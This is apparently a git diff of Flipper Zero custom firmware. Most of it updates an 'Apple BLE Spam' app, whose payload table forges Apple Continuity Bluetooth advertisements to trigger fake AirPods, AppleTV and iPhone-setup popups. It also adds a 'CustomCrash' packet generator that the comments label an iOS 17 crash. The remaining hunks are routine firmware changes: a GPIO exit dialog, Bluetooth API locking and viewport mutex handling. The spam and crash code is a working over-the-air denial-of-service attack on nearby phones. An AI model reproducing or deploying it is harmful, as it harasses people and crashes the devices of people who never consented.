.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
|
||||
}},
|
||||
{.title = "Random Pair",
|
||||
.text = "Spam shuffle Proximity Pairs",
|
||||
.random = true,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
|
||||
}},
|
||||
{.title = "AppleTV AutoFill",
|
||||
.text = "Banner, unlocked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
|
||||
}},
|
||||
{.title = "AppleTV Connecting...",
|
||||
.text = "Modal, unlocked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
|
||||
}},
|
||||
{.title = "Join This AppleTV?",
|
||||
.text = "Modal, unlocked, spammy",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
|
||||
}},
|
||||
{.title = "AppleTV Audio Sync",
|
||||
.text = "Banner, locked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
|
||||
}},
|
||||
{.title = "AppleTV Color Balance",
|
||||
.text = "Banner, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
|
||||
}},
|
||||
{.title = "Setup New iPhone",
|
||||
.text = "Modal, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
|
||||
}},
|
||||
{.title = "Setup New Random",
|
||||
.text = "Modal, locked, glitched",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
|
||||
}},
|
||||
{.title = "Transfer Phone Number",
|
||||
.text = "Modal, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
|
||||
}},
|
||||
{.title = "HomePod Setup",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
|
||||
}},
|
||||
{.title = "AirPods Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
|
||||
}},
|
||||
{.title = "Beats Solo 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
|
||||
}},
|
||||
{.title = "AirPods Max",
|
||||
.text = "Modal, laggy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
|
||||
}},
|
||||
{.title = "Beats Flex",
|
||||
.text = "Modal, laggy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
|
||||
}},
|
||||
{.title = "Airtag",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
|
||||
}},
|
||||
{.title = "Hermes Airtag",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
|
||||
}},
|
||||
{.title = "Setup New AppleTV",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
|
||||
}},
|
||||
{.title = "Pair AppleTV",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
|
||||
}},
|
||||
{.title = "HomeKit AppleTV Setup",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
|
||||
}},
|
||||
{.title = "AppleID for AppleTV?",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
|
||||
}},
|
||||
{.title = "AirPods",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
|
||||
}},
|
||||
{.title = "AirPods 2nd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
|
||||
}},
|
||||
{.title = "AirPods 3rd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
|
||||
}},
|
||||
{.title = "AirPods Pro 2nd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
|
||||
}},
|
||||
{.title = "Powerbeats 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
|
||||
}},
|
||||
{.title = "Powerbeats Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
|
||||
}},
|
||||
{.title = "Beats Solo Pro",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
|
||||
}},
|
||||
{.title = "Beats Studio Buds",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
|
||||
}},
|
||||
{.title = "Beats X",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
|
||||
}},
|
||||
{.title = "Beats Studio 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
|
||||
}},
|
||||
{.title = "Beats Studio Pro",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
|
||||
}},
|
||||
{.title = "Beats Fit Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
|
||||
}},
|
||||
{.title = "Beats Studio Buds+",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
|
||||
}},
|
||||
};
|
||||
|
||||
#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
|
||||
@@ -668,10 +687,10 @@ static void draw_callback(Canvas* canvas, void* ctx) {
|
||||
48,
|
||||
AlignLeft,
|
||||
AlignTop,
|
||||
"App+spam by \e#WillyJL\e# XFW\n"
|
||||
"Pair codes by \e#ECTO-1A\e#\n"
|
||||
"BLE docs by \e#furiousMAC\e#\n"
|
||||
" Version \e#1.1\e#",
|
||||
"App+Spam by \e#WillyJL\e# XFW\n"
|
||||
"IDs and Crash by \e#ECTO-1A\e#\n"
|
||||
"Continuity by \e#furiousMAC\e#\n"
|
||||
" Version \e#1.2\e#",
|
||||
false);
|
||||
break;
|
||||
default: {
|
||||
|
||||
@@ -15,6 +15,6 @@ App(
|
||||
],
|
||||
fap_author="@Willy-JL & @ECTO-1A",
|
||||
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam",
|
||||
fap_version="1.1",
|
||||
fap_version="1.2",
|
||||
fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
|
||||
)
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
#include "continuity.h"
|
||||
#include <furi_hal_random.h>
|
||||
#include <core/core_defines.h>
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
@@ -15,18 +17,23 @@ static const char* continuity_type_names[ContinuityTypeCount] = {
|
||||
[ContinuityTypeHandoff] = "Handoff",
|
||||
[ContinuityTypeTetheringSource] = "Tethering Source",
|
||||
[ContinuityTypeNearbyAction] = "Nearby Action",
|
||||
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
||||
[ContinuityTypeCustomCrash] = "Custom Packet",
|
||||
};
|
||||
const char* continuity_get_type_name(ContinuityType type) {
|
||||
return continuity_type_names[type];
|
||||
}
|
||||
|
||||
#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
|
||||
static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
|
||||
[ContinuityTypeAirDrop] = 24,
|
||||
[ContinuityTypeProximityPair] = 31,
|
||||
[ContinuityTypeAirplayTarget] = 12,
|
||||
[ContinuityTypeHandoff] = 20,
|
||||
[ContinuityTypeTetheringSource] = 12,
|
||||
[ContinuityTypeNearbyAction] = 11,
|
||||
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
||||
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
||||
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
||||
[ContinuityTypeHandoff] = HEADER_LEN + 14,
|
||||
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
|
||||
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
|
||||
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
||||
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
||||
};
|
||||
uint8_t continuity_get_packet_size(ContinuityType type) {
|
||||
return continuity_packet_sizes[type];
|
||||
@@ -37,11 +44,11 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
|
||||
uint8_t i = 0;
|
||||
|
||||
packet[i++] = size - 1; // Packet Length
|
||||
packet[i++] = 0xFF; // Packet Header
|
||||
packet[i++] = 0x4C; // ...
|
||||
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
|
||||
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = msg->type; // Type
|
||||
packet[i] = size - i - 1; // Message Length
|
||||
packet[i++] = msg->type; // Continuity Type
|
||||
packet[i] = size - i - 1; // Continuity Length
|
||||
i++;
|
||||
|
||||
switch(msg->type) {
|
||||
@@ -124,6 +131,34 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
|
||||
i += 3;
|
||||
break;
|
||||
|
||||
case ContinuityTypeNearbyInfo:
|
||||
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
|
||||
packet[i++] = (rand() % 256); // Status Flags
|
||||
packet[i++] = (rand() % 256); // Authentication Tag
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
break;
|
||||
|
||||
case ContinuityTypeCustomCrash:
|
||||
// Found by @ECTO-1A
|
||||
|
||||
i -= 2; // Override segment header
|
||||
packet[i++] = ContinuityTypeNearbyAction; // Type
|
||||
packet[i++] = 0x05; // Length
|
||||
packet[i++] = 0xC1; // Action Flags
|
||||
const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
|
||||
packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
|
||||
packet[i++] = 0x00; // ???
|
||||
packet[i++] = 0x00; // ???
|
||||
|
||||
packet[i++] = ContinuityTypeNearbyInfo; // Type ???
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
|
||||
i += 3;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
@@ -17,6 +18,9 @@ typedef enum {
|
||||
ContinuityTypeHandoff = 0x0C,
|
||||
ContinuityTypeTetheringSource = 0x0E,
|
||||
ContinuityTypeNearbyAction = 0x0F,
|
||||
ContinuityTypeNearbyInfo = 0x10,
|
||||
|
||||
ContinuityTypeCustomCrash,
|
||||
ContinuityTypeCount
|
||||
} ContinuityType;
|
||||
|
||||
@@ -37,6 +41,10 @@ typedef union {
|
||||
uint8_t flags;
|
||||
uint8_t type;
|
||||
} nearby_action;
|
||||
struct {
|
||||
} nearby_info;
|
||||
struct {
|
||||
} custom_crash;
|
||||
} ContinuityData;
|
||||
|
||||
typedef struct {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
#include "archive_files.h"
|
||||
#include "archive_apps.h"
|
||||
#include "archive_browser.h"
|
||||
#include <applications/external/subghz_playlist/playlist_file.h>
|
||||
#include <applications/external/subghz_remote/subghz_remote_app_i.h>
|
||||
#include <applications/external/ir_remote/infrared_remote.h>
|
||||
#include <applications/system/subghz_playlist/playlist_file.h>
|
||||
#include <applications/system/subghz_remote/subghz_remote_app_i.h>
|
||||
#include <applications/system/ir_remote/infrared_remote.h>
|
||||
|
||||
#define TAG "Archive"
|
||||
|
||||
|
||||
@@ -43,6 +43,11 @@ GpioApp* gpio_app_alloc() {
|
||||
|
||||
app->notifications = furi_record_open(RECORD_NOTIFICATION);
|
||||
|
||||
// Dialog view
|
||||
app->dialog = dialog_ex_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, GpioAppViewExitConfirm, dialog_ex_get_view(app->dialog));
|
||||
|
||||
app->var_item_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
@@ -91,10 +96,12 @@ void gpio_app_free(GpioApp* app) {
|
||||
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUart);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCfg);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCloseRpc);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewExitConfirm);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
widget_free(app->widget);
|
||||
gpio_test_free(app->gpio_test);
|
||||
gpio_usb_uart_free(app->gpio_usb_uart);
|
||||
dialog_ex_free(app->dialog);
|
||||
gpio_i2c_scanner_free(app->gpio_i2c_scanner);
|
||||
gpio_i2c_sfp_free(app->gpio_i2c_sfp);
|
||||
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
#include <notification/notification_messages.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
#include "views/gpio_test.h"
|
||||
#include "views/gpio_usb_uart.h"
|
||||
#include "views/gpio_i2c_scanner.h"
|
||||
@@ -25,6 +26,7 @@ struct GpioApp {
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
Widget* widget;
|
||||
DialogEx* dialog;
|
||||
|
||||
VariableItemList* var_item_list;
|
||||
VariableItem* var_item_flow;
|
||||
@@ -43,6 +45,7 @@ typedef enum {
|
||||
GpioAppViewUsbUart,
|
||||
GpioAppViewUsbUartCfg,
|
||||
GpioAppViewUsbUartCloseRpc,
|
||||
GpioAppViewExitConfirm,
|
||||
GpioAppViewI2CScanner,
|
||||
GpioAppViewI2CSfp
|
||||
} GpioAppView;
|
||||
|
||||
@@ -3,5 +3,6 @@ ADD_SCENE(gpio, test, Test)
|
||||
ADD_SCENE(gpio, usb_uart, UsbUart)
|
||||
ADD_SCENE(gpio, usb_uart_cfg, UsbUartCfg)
|
||||
ADD_SCENE(gpio, usb_uart_close_rpc, UsbUartCloseRpc)
|
||||
ADD_SCENE(gpio, exit_confirm, ExitConfirm)
|
||||
ADD_SCENE(gpio, i2c_scanner, I2CScanner)
|
||||
ADD_SCENE(gpio, i2c_sfp, I2CSfp)
|
||||
|
||||
44
applications/main/gpio/scenes/gpio_scene_exit_confirm.c
Normal file
@@ -0,0 +1,44 @@
|
||||
#include "gpio_app_i.h"
|
||||
|
||||
void gpio_scene_exit_confirm_dialog_callback(DialogExResult result, void* context) {
|
||||
GpioApp* app = context;
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, result);
|
||||
}
|
||||
|
||||
void gpio_scene_exit_confirm_on_enter(void* context) {
|
||||
GpioApp* app = context;
|
||||
DialogEx* dialog = app->dialog;
|
||||
|
||||
dialog_ex_set_context(dialog, app);
|
||||
dialog_ex_set_left_button_text(dialog, "Exit");
|
||||
dialog_ex_set_right_button_text(dialog, "Stay");
|
||||
dialog_ex_set_header(dialog, "Exit USB-UART?", 22, 12, AlignLeft, AlignTop);
|
||||
dialog_ex_set_result_callback(dialog, gpio_scene_exit_confirm_dialog_callback);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, GpioAppViewExitConfirm);
|
||||
}
|
||||
|
||||
bool gpio_scene_exit_confirm_on_event(void* context, SceneManagerEvent event) {
|
||||
GpioApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == DialogExResultRight) {
|
||||
consumed = scene_manager_previous_scene(app->scene_manager);
|
||||
} else if(event.event == DialogExResultLeft) {
|
||||
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, GpioSceneStart);
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void gpio_scene_exit_confirm_on_exit(void* context) {
|
||||
GpioApp* app = context;
|
||||
|
||||
// Clean view
|
||||
dialog_ex_reset(app->dialog);
|
||||
}
|
||||
@@ -42,6 +42,9 @@ bool gpio_scene_usb_uart_on_event(void* context, SceneManagerEvent event) {
|
||||
scene_manager_set_scene_state(app->scene_manager, GpioSceneUsbUart, 1);
|
||||
scene_manager_next_scene(app->scene_manager, GpioSceneUsbUartCfg);
|
||||
return true;
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
scene_manager_next_scene(app->scene_manager, GpioSceneExitConfirm);
|
||||
return true;
|
||||
} else if(event.type == SceneManagerEventTypeTick) {
|
||||
uint32_t tx_cnt_last = scene_usb_uart->state.tx_cnt;
|
||||
uint32_t rx_cnt_last = scene_usb_uart->state.rx_cnt;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "bt_i.h"
|
||||
#include "battery_service.h"
|
||||
#include "bt_keys_storage.h"
|
||||
|
||||
#include <services/battery_service.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <gui/elements.h>
|
||||
#include <assets_icons.h>
|
||||
@@ -374,13 +374,13 @@ static void bt_change_profile(Bt* bt, BtMessage* message) {
|
||||
*message->result = false;
|
||||
}
|
||||
}
|
||||
furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT);
|
||||
if(message->lock) api_lock_unlock(message->lock);
|
||||
}
|
||||
|
||||
static void bt_close_connection(Bt* bt) {
|
||||
static void bt_close_connection(Bt* bt, BtMessage* message) {
|
||||
bt_close_rpc_connection(bt);
|
||||
furi_hal_bt_stop_advertising();
|
||||
furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT);
|
||||
if(message->lock) api_lock_unlock(message->lock);
|
||||
}
|
||||
|
||||
static inline FuriHalBtProfile get_hal_bt_profile(BtProfile profile) {
|
||||
@@ -527,7 +527,7 @@ int32_t bt_srv(void* p) {
|
||||
} else if(message.type == BtMessageTypeSetProfile) {
|
||||
bt_change_profile(bt, &message);
|
||||
} else if(message.type == BtMessageTypeDisconnect) {
|
||||
bt_close_connection(bt);
|
||||
bt_close_connection(bt, &message);
|
||||
} else if(message.type == BtMessageTypeForgetBondedDevices) {
|
||||
bt_keys_storage_delete(bt->keys_storage);
|
||||
}
|
||||
|
||||
@@ -6,11 +6,14 @@ bool bt_set_profile(Bt* bt, BtProfile profile) {
|
||||
// Send message
|
||||
bool result = false;
|
||||
BtMessage message = {
|
||||
.type = BtMessageTypeSetProfile, .data.profile = profile, .result = &result};
|
||||
.lock = api_lock_alloc_locked(),
|
||||
.type = BtMessageTypeSetProfile,
|
||||
.data.profile = profile,
|
||||
.result = &result};
|
||||
furi_check(
|
||||
furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk);
|
||||
// Wait for unlock
|
||||
furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever);
|
||||
api_lock_wait_unlock_and_free(message.lock);
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -19,11 +22,11 @@ void bt_disconnect(Bt* bt) {
|
||||
furi_assert(bt);
|
||||
|
||||
// Send message
|
||||
BtMessage message = {.type = BtMessageTypeDisconnect};
|
||||
BtMessage message = {.lock = api_lock_alloc_locked(), .type = BtMessageTypeDisconnect};
|
||||
furi_check(
|
||||
furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk);
|
||||
// Wait for unlock
|
||||
furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever);
|
||||
api_lock_wait_unlock_and_free(message.lock);
|
||||
}
|
||||
|
||||
void bt_set_status_changed_callback(Bt* bt, BtStatusChangedCallback callback, void* context) {
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <api_lock.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_port.h>
|
||||
@@ -21,8 +22,6 @@
|
||||
#define BT_KEYS_STORAGE_OLD_PATH INT_PATH(".bt.keys")
|
||||
#define BT_KEYS_STORAGE_PATH CFG_PATH("bt.keys")
|
||||
|
||||
#define BT_API_UNLOCK_EVENT (1UL << 0)
|
||||
|
||||
typedef enum {
|
||||
BtMessageTypeUpdateStatus,
|
||||
BtMessageTypeUpdateBatteryLevel,
|
||||
@@ -47,6 +46,7 @@ typedef union {
|
||||
} BtMessageData;
|
||||
|
||||
typedef struct {
|
||||
FuriApiLock lock;
|
||||
BtMessageType type;
|
||||
BtMessageData data;
|
||||
bool* result;
|
||||
|
||||
@@ -313,6 +313,7 @@ void elements_multiline_text_aligned(
|
||||
} else if((y + font_height) > canvas_height(canvas)) {
|
||||
line = furi_string_alloc_printf("%.*s...\n", chars_fit, start);
|
||||
} else {
|
||||
chars_fit -= 1; // account for the dash
|
||||
line = furi_string_alloc_printf("%.*s-\n", chars_fit, start);
|
||||
}
|
||||
canvas_draw_str_aligned(canvas, x, y, horizontal, vertical, furi_string_get_cstr(line));
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "gui.h"
|
||||
#include "gui_i.h"
|
||||
|
||||
#define TAG "ViewPort"
|
||||
|
||||
_Static_assert(ViewPortOrientationMAX == 4, "Incorrect ViewPortOrientation count");
|
||||
_Static_assert(
|
||||
(ViewPortOrientationHorizontal == 0 && ViewPortOrientationHorizontalFlip == 1 &&
|
||||
@@ -174,10 +176,15 @@ void view_port_input_callback_set(
|
||||
|
||||
void view_port_update(ViewPort* view_port) {
|
||||
furi_assert(view_port);
|
||||
// TODO: Uncomment when all apps are verified to be fixed !!!!!!!!!!!!!!!!!!!!!!!
|
||||
//furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk);
|
||||
|
||||
// We are not going to lockup system, but will notify you instead
|
||||
// Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call
|
||||
if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) {
|
||||
FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3);
|
||||
}
|
||||
|
||||
if(view_port->gui && view_port->is_enabled) gui_update(view_port->gui);
|
||||
//furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk);
|
||||
furi_mutex_release(view_port->mutex);
|
||||
}
|
||||
|
||||
void view_port_gui_set(ViewPort* view_port, Gui* gui) {
|
||||
@@ -190,14 +197,21 @@ void view_port_gui_set(ViewPort* view_port, Gui* gui) {
|
||||
void view_port_draw(ViewPort* view_port, Canvas* canvas) {
|
||||
furi_assert(view_port);
|
||||
furi_assert(canvas);
|
||||
furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk);
|
||||
|
||||
// We are not going to lockup system, but will notify you instead
|
||||
// Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call
|
||||
if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) {
|
||||
FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3);
|
||||
}
|
||||
|
||||
furi_check(view_port->gui);
|
||||
|
||||
if(view_port->draw_callback) {
|
||||
view_port_setup_canvas_orientation(view_port, canvas);
|
||||
view_port->draw_callback(canvas, view_port->draw_callback_context);
|
||||
}
|
||||
furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk);
|
||||
|
||||
furi_mutex_release(view_port->mutex);
|
||||
}
|
||||
|
||||
void view_port_input(ViewPort* view_port, InputEvent* event) {
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#include <cli/cli.h>
|
||||
#include <applications.h>
|
||||
#include <lib/toolbox/args.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include "loader.h"
|
||||
|
||||
static void loader_cli_print_usage() {
|
||||
@@ -56,6 +57,10 @@ static void loader_cli_open(FuriString* args, Loader* loader) {
|
||||
FuriString* error_message = furi_string_alloc();
|
||||
if(loader_start(loader, app_name_str, args_str, error_message) != LoaderStatusOk) {
|
||||
printf("%s\r\n", furi_string_get_cstr(error_message));
|
||||
} else {
|
||||
NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION);
|
||||
notification_message(notifications, &sequence_display_backlight_on);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
}
|
||||
furi_string_free(error_message);
|
||||
} while(false);
|
||||
|
||||
@@ -453,8 +453,11 @@ static bool notification_load_settings(NotificationApp* app) {
|
||||
static void input_event_callback(const void* value, void* context) {
|
||||
furi_assert(value);
|
||||
furi_assert(context);
|
||||
const InputEvent* event = value;
|
||||
NotificationApp* app = context;
|
||||
notification_message(app, &sequence_display_backlight_on);
|
||||
if(event->sequence_source == INPUT_SEQUENCE_SOURCE_HARDWARE) {
|
||||
notification_message(app, &sequence_display_backlight_on);
|
||||
}
|
||||
}
|
